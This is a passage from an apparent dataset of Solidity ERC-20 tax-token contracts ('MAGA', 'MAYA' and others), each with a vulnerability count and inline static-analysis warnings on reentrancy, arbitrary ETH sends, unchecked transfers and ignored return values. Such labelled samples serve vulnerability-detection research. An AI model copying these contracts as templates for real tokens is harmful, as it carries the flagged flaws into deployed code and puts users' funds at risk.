(\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 01cb2bf\n\t\t\t\t// reentrancy-eth | ID: f6df626\n\t\t\t\t// reentrancy-eth | ID: fbd5945\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 01cb2bf\n\t\t\t\t\t// reentrancy-eth | ID: f6df626\n\t\t\t\t\t// reentrancy-eth | ID: fbd5945\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f6df626\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f6df626\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 01cb2bf\n\t\t\t\t// reentrancy-eth | ID: fbd5945\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 01cb2bf\n\t\t\t\t\t// reentrancy-eth | ID: fbd5945\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fbd5945\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 01cb2bf\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fbd5945\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fbd5945\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 01cb2bf\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 01cb2bf\n\t\t// reentrancy-events | ID: c40561c\n\t\t// reentrancy-benign | ID: dbf1e1c\n\t\t// reentrancy-eth | ID: f6df626\n\t\t// reentrancy-eth | ID: fbd5945\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 450acc1): TENE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 450acc1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 01cb2bf\n\t\t// reentrancy-events | ID: c40561c\n\t\t// reentrancy-eth | ID: f6df626\n\t\t// reentrancy-eth | ID: fbd5945\n\t\t// arbitrary-send-eth | ID: 450acc1\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 07fc4b2): TENE.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 07fc4b2: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 07fc4b2\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 82452eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 82452eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ebb119c): TENE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ebb119c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 34ddb2b): TENE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 34ddb2b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 456c02b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 456c02b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 82452eb\n\t\t// unused-return | ID: ebb119c\n\t\t// reentrancy-eth | ID: 456c02b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 82452eb\n\t\t// unused-return | ID: 34ddb2b\n\t\t// reentrancy-eth | ID: 456c02b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 82452eb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 456c02b\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 82452eb\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10190.sol",
"size_bytes": 23072,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract maga is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be9e17d): maga._taxWallet should be immutable \n\t// Recommendation for be9e17d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca85f6f): maga._initialBuyTax should be constant \n\t// Recommendation for ca85f6f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25e00c2): maga._initialSellTax should be constant \n\t// Recommendation for 25e00c2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3b3a16): maga._reduceBuyTaxAt should be constant \n\t// Recommendation for b3b3a16: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac118cd): maga._reduceSellTaxAt should be constant \n\t// Recommendation for ac118cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a8f1f5): maga._preventSwapBefore should be constant \n\t// Recommendation for 4a8f1f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Musk As Government Advisor\";\n\n string private constant _symbol = unicode\"MAGA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4c5026): maga._taxSwapThreshold should be constant \n\t// Recommendation for e4c5026: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cbd5ab): maga._maxTaxSwap should be constant \n\t// Recommendation for 4cbd5ab: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d41bad0): maga.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d41bad0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a8dee4d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a8dee4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f17f5ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f17f5ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a8dee4d\n\t\t// reentrancy-benign | ID: f17f5ce\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a8dee4d\n\t\t// reentrancy-benign | ID: f17f5ce\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58986cb): maga._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 58986cb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f17f5ce\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a8dee4d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 80be573): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 80be573: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e31b769): maga._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for e31b769: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7ba108c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7ba108c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: e31b769\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 5, \"Only 5 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 80be573\n\t\t\t\t// reentrancy-eth | ID: 7ba108c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 80be573\n\t\t\t\t\t// reentrancy-eth | ID: 7ba108c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7ba108c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7ba108c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7ba108c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 80be573\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7ba108c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7ba108c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 80be573\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 80be573\n\t\t// reentrancy-events | ID: a8dee4d\n\t\t// reentrancy-benign | ID: f17f5ce\n\t\t// reentrancy-eth | ID: 7ba108c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0cd5d7e): maga.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0cd5d7e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 80be573\n\t\t// reentrancy-events | ID: a8dee4d\n\t\t// reentrancy-eth | ID: 7ba108c\n\t\t// arbitrary-send-eth | ID: 0cd5d7e\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 56c6cc9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 56c6cc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 48907ea): maga.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 48907ea: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9346445): maga.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9346445: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d062395): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d062395: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 56c6cc9\n\t\t// reentrancy-eth | ID: d062395\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 56c6cc9\n\t\t// unused-return | ID: 9346445\n\t\t// reentrancy-eth | ID: d062395\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 56c6cc9\n\t\t// unused-return | ID: 48907ea\n\t\t// reentrancy-eth | ID: d062395\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 56c6cc9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d062395\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 56c6cc9\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manuallySend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manuallySwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10191.sol",
"size_bytes": 20995,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YUGE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 77b6e57): YUGE._taxWallet should be immutable \n\t// Recommendation for 77b6e57: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a47b125): YUGE._initialBuyTax should be constant \n\t// Recommendation for a47b125: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dbbbff): YUGE._initialSellTax should be constant \n\t// Recommendation for 9dbbbff: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 625066b): YUGE._reduceBuyTaxAt should be constant \n\t// Recommendation for 625066b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1801463): YUGE._reduceSellTaxAt should be constant \n\t// Recommendation for 1801463: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1181e1e): YUGE._preventSwapBefore should be constant \n\t// Recommendation for 1181e1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Yuge Again\";\n\n string private constant _symbol = unicode\"MAYA\";\n\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b6c976): YUGE._taxSwapThreshold should be constant \n\t// Recommendation for 0b6c976: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 